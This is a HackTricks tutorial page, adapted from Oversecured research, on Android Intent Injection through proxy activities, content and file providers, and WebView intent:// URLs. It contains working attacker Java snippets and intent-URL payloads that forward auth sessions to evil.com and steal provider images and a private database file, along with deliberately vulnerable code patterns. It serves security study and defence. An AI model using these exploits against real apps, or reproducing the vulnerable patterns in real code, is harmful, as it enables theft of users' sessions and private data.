mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-22 11:03:24 +00:00
278 lines
14 KiB
Markdown
278 lines
14 KiB
Markdown
# Intent Injection
|
||
|
||
**Research taken from** [**https://blog.oversecured.com/Android-Access-to-app-protected-components/**](https://blog.oversecured.com/Android-Access-to-app-protected-components/)****
|
||
|
||
## Introduction
|
||
|
||
This vulnerability resembles **Open Redirect in web security**. Since class `Intent` is `Parcelable`, **objects belonging to this class** can be **passed** as **extra** **data** in another `Intent` object. \
|
||
Many developers make **use** of this **feature** and create **proxy** **components** (activities, broadcast receivers and services) that **take an embedded Intent and pass it to dangerous methods** like `startActivity(...)`, `sendBroadcast(...)`, etc. \
|
||
This is dangerous because **an attacker can force the app to launch a non-exported component that cannot be launched directly from another app**, or to grant the attacker access to its content providers. **`WebView`** also sometimes changes a **URL from a string to an `Intent`** object, using the `Intent.parseUri(...)` method, and passes it to `startActivity(...)`. 
|
||
|
||
{% hint style="info" %}
|
||
As summary: If an attacker can send an Intent that is being insecurely executed he can potentially access not exported components and abuse them.
|
||
{% endhint %}
|
||
|
||
## A typical case
|
||
|
||
Let us examine an example. Fragment of the `AndroidManifest.xml` file
|
||
|
||
```markup
|
||
<activity android:name=".ProxyActivity" android:exported="true" />
|
||
<activity android:name=".AuthWebViewActivity" android:exported="false" />
|
||
```
|
||
|
||
Activity `ProxyActivity`
|
||
|
||
```java
|
||
startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));
|
||
```
|
||
|
||
Activity `AuthWebViewActivity`
|
||
|
||
```java
|
||
webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());
|
||
```
|
||
|
||
`AuthWebViewActivity` is an example of **hidden app functionality that performs certain unsafe actions**, in this case passing the user’s authentication session to a URL obtained from the `url` parameter.
|
||
|
||
Export restrictions mean **the attacker cannot access `AuthWebViewActivity` directly**. A direct call
|
||
|
||
```java
|
||
Intent intent = new Intent();
|
||
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
||
intent.putExtra("url", "http://evil.com/");
|
||
startActivity(intent);
|
||
```
|
||
|
||
throws a `java.lang.SecurityException`, due to `Permission Denial`: `AuthWebViewActivity not exported from uid 1337`.
|
||
|
||
But the attacker can f**orce the victim to launch `AuthWebViewActivity` itself**:
|
||
|
||
```java
|
||
Intent extra = new Intent();
|
||
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
||
extra.putExtra("url", "http://evil.com/");
|
||
|
||
Intent intent = new Intent();
|
||
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
||
intent.putExtra("extra_intent", extra);
|
||
startActivity(intent);
|
||
```
|
||
|
||
and no security violation will arise, because t**he app that is under attack does have access to all its own components**. Using this code fragment, the attacker can bypass the Android system’s built-in restrictions.
|
||
|
||
## Escalation of Impact
|
||
|
||
In order to escalate the impact of this vulnerability you need to **find other vulns/missconfigurations that could allow to increate the impact of the vulnerability** (as the vulnerability by it's own isn't creating any risks).
|
||
|
||
### Escalation of attacks via Content Providers
|
||
|
||
Besides access to arbitrary components of the original app, the **attacker can attempt to gain access to those of the vulnerable app’s Content Providers** that satisfy the following conditions:
|
||
|
||
* it must be **non-exported** (otherwise it **could be attacked directly**, without using the vulnerability we are discussing in this article)
|
||
* it must have the **`android:grantUriPermissions`** flag set to **`true`**.
|
||
* `android:grantUriPermissions="true"` indicates that your Java code can use `FLAG_GRANT_READ_URI_PERMISSION` and `FLAG_GRANT_WRITE_URI_PERMISSION` for **any `Uri` served by that `ContentProvider`**.
|
||
* `android:grantUriPermissions="false"` indicates that **only the `Uri` values specified by child `<grant-uri-permission>`** elements can be used with `FLAG_GRANT_READ_URI_PERMISSION` and `FLAG_GRANT_WRITE_URI_PERMISSION`.
|
||
|
||
The attacker must set itself as the recipient of an embedded intent and set the following flags
|
||
|
||
* `Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION` permits persistent access to the provider (without this flag, the access is one-time only)
|
||
* `Intent.FLAG_GRANT_PREFIX_URI_PERMISSION` permits URI access by prefix – for example, instead of repeatedly obtaining separate access using a complete path such as `content://com.victim.provider/image/1` the attacker can grant access to all the provider’s content using the URI `content://com.victim.provider/` and then use `ContentResolver` to address `content://com.victim.provider/image/1`, `content://com.victim.provider/image/2`, etc.
|
||
* `Intent.FLAG_GRANT_READ_URI_PERMISSION` permits read operations on the provider (such as `query`, `openFile`, `openAssetFile`)
|
||
* `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` permits write operations
|
||
|
||
An example of a typical provider where an attacker can gain access to it and perform regular operations like `query`, `update`, `insert`, `delete`, `openFile`, `openAssetFile`
|
||
|
||
```markup
|
||
<provider android:name="com.victim.ContentProvider" android:exported="false" android:authorities="com.victim.provider" android:grantUriPermissions="true"/>
|
||
```
|
||
|
||
Example of the theft of user pictures `AndroidManifest.xml` file
|
||
|
||
```markup
|
||
<activity android:name=".LeakActivity" android:exported="true" />
|
||
```
|
||
|
||
`MainActivity.java` file
|
||
|
||
```java
|
||
Intent extra = new Intent();
|
||
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
|
||
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
|
||
| Intent.FLAG_GRANT_READ_URI_PERMISSION
|
||
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
|
||
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
|
||
extra.setData(Uri.parse("content://com.victim.provider/"));
|
||
|
||
Intent intent = new Intent();
|
||
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
||
intent.putExtra("extra_intent", extra);
|
||
startActivity(intent);
|
||
```
|
||
|
||
`LeakActivity.java`
|
||
|
||
```java
|
||
Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1
|
||
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image
|
||
```
|
||
|
||
### Attacks on Android File Provider
|
||
|
||
This vulnerability also makes it possible for the attacker to **steal app files** located in directories that the developer predetermined. For a successful attack, the malign app needs to **obtain access rights to Android File Provider and then read content from the file provider using Android ContentResolver**.
|
||
|
||
Example file provider (for more details see [https://developer.android.com/reference/android/support/v4/content/FileProvider](https://developer.android.com/reference/android/support/v4/content/FileProvider))
|
||
|
||
```markup
|
||
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.victim.files_provider" android:grantUriPermissions="true">
|
||
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/>
|
||
</provider>
|
||
```
|
||
|
||
It provides read/write access to files on a special list that can be found in the app resources, in this case at `res/xml/provider_paths.xml`
|
||
|
||
It may look somewhat like
|
||
|
||
```markup
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<paths>
|
||
<root-path name="root" path=""/>
|
||
<files-path name="internal_files" path="."/>
|
||
<cache-path name="cache" path=""/>
|
||
<external-path name="external_files" path="images"/>
|
||
</paths>
|
||
```
|
||
|
||
Each tag specifies a root directory with a `path` value relative to the root. For instance, the value `external_files` will correspond to `new File(Environment.getExternalStorageDirectory(), "images")`
|
||
|
||
The value `root-path` corresponds to `/`, i.e. provides access to arbitrary files.
|
||
|
||
Let us say we have some secret data stored in the file `/data/data/com.victim/databases/secret.db`: the theft of this file may look something like this `MainActivity.java`
|
||
|
||
```java
|
||
Intent extra = new Intent();
|
||
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
|
||
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
|
||
extra.setData(Uri.parse("content://com.victim.files_provider/root/data/data/com.victim/databases/secret.db"));
|
||
|
||
Intent intent = new Intent();
|
||
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
||
intent.putExtra("extra_intent", extra);
|
||
startActivity(intent);
|
||
```
|
||
|
||
`LeakActivity.java`
|
||
|
||
```java
|
||
InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server
|
||
```
|
||
|
||
### Access to arbitrary components via WebView
|
||
|
||
An Intent object can be cast to a string with a call to `Intent.toUri(flags)` and back from a string to an Intent using `Intent.parseUri(stringUri, flags)`. This functionality is often used in WebView (the app’s built-in browser): the **app can verify an `intent://` scheme, parse the URL into an Intent and launch the activity**.
|
||
|
||
**This vulnerability can be exploited both via other vulnerabilities** (e.g. the ability to open arbitrary links in-app in WebView directly via exported activities or by way of the deeplink mechanism) in the client app and also remotely, including cross-site scripting on the server side or MitM on the client side
|
||
|
||
Example of vulnerable code
|
||
|
||
```java
|
||
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
|
||
Uri uri = request.getUrl();
|
||
if("intent".equals(uri.getScheme())) {
|
||
startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
|
||
return true;
|
||
}
|
||
return super.shouldOverrideUrlLoading(view, request);
|
||
}
|
||
```
|
||
|
||
The point here is that the `shouldOverrideUrlLoading(...)` method of class `WebViewClient` is called each time WebView tries to load a new link, but gives the app the option of adding a custom handler.
|
||
|
||
To exploit this vulnerability the attacker needs to create a WebView redirect to a specially prepared intent-scheme URL. Example of URL creation
|
||
|
||
```java
|
||
Intent intent = new Intent();
|
||
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
||
intent.putExtra("url", "http://evil.com/");
|
||
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // outputs "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"
|
||
```
|
||
|
||
Example attack
|
||
|
||
```java
|
||
location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";
|
||
```
|
||
|
||
This version contains **several restrictions compared to the classic versio**n of the vulnerability:
|
||
|
||
* Embedded `Parcelable` and `Serializable` objects cannot be cast to string (they will be ignored)
|
||
* The insecure flags `Intent.FLAG_GRANT_READ_URI_PERMISSION` and `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` are **ignored** when `Intent.parseUri(...)` is called. The parser will only leave them if the `Intent.URI_ALLOW_UNSAFE` (`startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))` flag is set, which is very rare
|
||
|
||
Many developers still forget to carry out a complete filtering of intents received via WebView
|
||
|
||
```java
|
||
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
|
||
Uri uri = request.getUrl();
|
||
if("intent".equals(uri.getScheme())) {
|
||
Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME);
|
||
intent.addCategory("android.intent.category.BROWSABLE");
|
||
intent.setComponent(null);
|
||
startActivity(intent);
|
||
return true;
|
||
}
|
||
return super.shouldOverrideUrlLoading(view, request);
|
||
}
|
||
```
|
||
|
||
The attacker can specify a non-exported component via a selector
|
||
|
||
```java
|
||
Intent intent = new Intent();
|
||
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
|
||
intent.putExtra("url", "http://evil.com/");
|
||
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // "intent:#Intent;S.url=http%3A%2F%2Fevil.com%2F;SEL;component=com.victim/.AuthWebViewActivity;end"
|
||
```
|
||
|
||
And bypass the app’s protection against explicit intents. We therefore recommend filtering the selector as well
|
||
|
||
```java
|
||
intent.addCategory("android.intent.category.BROWSABLE");
|
||
intent.setComponent(null);
|
||
intent.setSelector(null);
|
||
```
|
||
|
||
But even complete filtering does not guarantee complete protection, because an attacker can create an implicit intent corresponding to the `intent-filter` of some non-exported activity. Example of an activity declaration:
|
||
|
||
```markup
|
||
<activity android:name=".AuthWebViewActivity" android:exported="false">
|
||
<intent-filter>
|
||
<action android:name="android.intent.action.VIEW" />
|
||
<category android:name="android.intent.category.DEFAULT" />
|
||
<data android:scheme="victim" android:host="secure_handler" />
|
||
</intent-filter>
|
||
</activity>
|
||
```
|
||
|
||
```java
|
||
webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());
|
||
```
|
||
|
||
We therefore recommend checking that an activity is exported before it is launched.
|
||
|
||
### Other ways of creating insecure intents
|
||
|
||
Some app developers implement their **own intent parsers** (often to handle **deeplinks** or push messages), using e.g. **JSON** objects, strings or byte arrays, which either do not differ from the default or else present a great danger, because they may expand **`Serializable`** and `Parcelable` objects and they also allow insecure flags to be set. The security researcher may also encounter more exotic versions of intent creation, such as casting a byte array to a `Parcel` and then reading an intent from it
|
||
|
||
```java
|
||
Uri deeplinkUri = getIntent().getData();
|
||
if(deeplinkUri.toString().startsWith("deeplink://handle/")) {
|
||
byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0);
|
||
Parcel parcel = Parcel.obtain();
|
||
parcel.unmarshall(handle, 0, handle.length);
|
||
startActivity((Intent) parcel.readParcelable(getClassLoader()));
|
||
}
|
||
```
|
||
|
||
## Vuln app
|
||
|
||
{% embed url="https://github.com/oversecured/ovaa" %}
|